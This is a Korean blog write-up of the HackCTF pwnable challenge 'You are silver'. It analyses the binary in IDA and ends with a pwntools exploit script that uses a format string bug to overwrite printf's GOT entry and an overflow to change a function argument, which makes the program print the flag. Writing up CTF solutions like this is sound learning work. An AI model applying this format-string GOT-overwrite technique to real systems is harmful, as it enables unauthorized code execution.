일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- DFB
- H4CKING GAME
- ROP
- Android
- GOT overwrite
- DFC 2022
- heap exploit
- RTL
- Reversing
- UAF
- heap feng shui
- malware
- HackCTF
- 나뭇잎 책
- Lazenca
- Dynamic Analysis
- _IO_FILE
- __environ
- seccomp
- DreamHack
- K-shield Junior
- master canary
- tcache
- vtable
- shellcode
- heap
- _IO_FILE Arbitrary Address Read
- BOF
- _IO_FILE Arbitrary Address Write
- srop
- Today
- Total
Studying Security
[HackCTF] pwnable: You are silver 풀이 본문
Mitigation
Vulnerability Analysis
IDA disassembler를 이용해 main함수를 살펴보자
get_tier함수가 v6 = 50이라는 인자를 받는걸 보니 이걸로 tier가 결정되는 것 같다
get_tier함수를 들어가 보니 역시 인자에 따라 tier가 나눠지고 tier마다 다른 return값을 되돌려주는 걸 확인할 수 있음
그럼 이 결과 값을 어디다가 쓸까?
바이너리에 들어있는 함수를 살펴보니 play_game이라는 함수가 존재했다
보면 4라는 인자가 Challenger를 의미하고 이때 우리가 원하는 결과 값인 flag를 출력하는 system함수가 들어있다.
이제 해야할 일을 살펴보면 아래와 같이 정리해 볼 수 있다.
- get_tier함수에 75보다 큰 인자를 주고 challenger를 의미하는 4라는 return값 얻기
- 이 return 값을 play_game함수의 인자로 넘겨주어 flag획득
위와 같이 정리할 수 있다.
1. get_tier함수에 75보다 큰 인자 전달하기
main함수를 살펴보면 fgets함수를 통해 [rbp-0x30]에 0x2e size만큼을 입력 값을 전달할 수 있다.
그런데 get_tier는 [rbp-0x4]의 값을 인자로 전달받고 있으므로 fgets의 입력 값을 통해 이 부분을 바꿔줄 수 있다.
2. get_tier의 return 값을 play_game함수로 넘겨주기
fgets함수 이후 printf를 실행시키고 있는 걸로 보아 Format String Bug을 발생시킬 수 있다.
아래를 보면 get_tier의 return값을 rdi 레지스터에 전달하고 printf 함수 실행시키고 있다.
이 두 사실을 미루어보아 FSB를 통해 printf의 got를 play_game함수로 overwrite하면
get_tier의 return 값을 play_game의 인자로 전달해 flag를 획득할 수 있겠다.
Exploit code작성시 주의할 점
Format String Bug 작성시
p64(printf_got) + "%4196047c%6$lln" 이런 방식으로 got overwrite를 시도했었는데 printf함수의 경우 \x00인 null byte를 마주하면 뒷 부분은 출력하지 않음 따라서 "%4196055c%8$llna" + p64(printf_got)와 같은 형태로 입력을 해주어야 한다.
Exploit code
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3022)
e = ELF("./you_are_silver")
printf_got = e.got["printf"]
# format string bug(got overwirte) + modify get_tier's arg
payload = "%4196055c%8$llna" + p64(printf_got)
payload += "A"*(0x2c-len(payload)) + "\x76"
p.sendline(payload)
p.interactive()
Result
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] pwnable: RTC 풀이 (0) | 2022.04.12 |
---|---|
[HackCTF] pwnable: Unexploitable #1 풀이 (0) | 2022.04.12 |
[HackCTF] pwnable: ROP 풀이 (0) | 2022.04.12 |
[HackCTF] pwnable: Gift 풀이 (0) | 2022.04.10 |
[HackCTF] pwnable: Look at me 풀이 (0) | 2022.04.10 |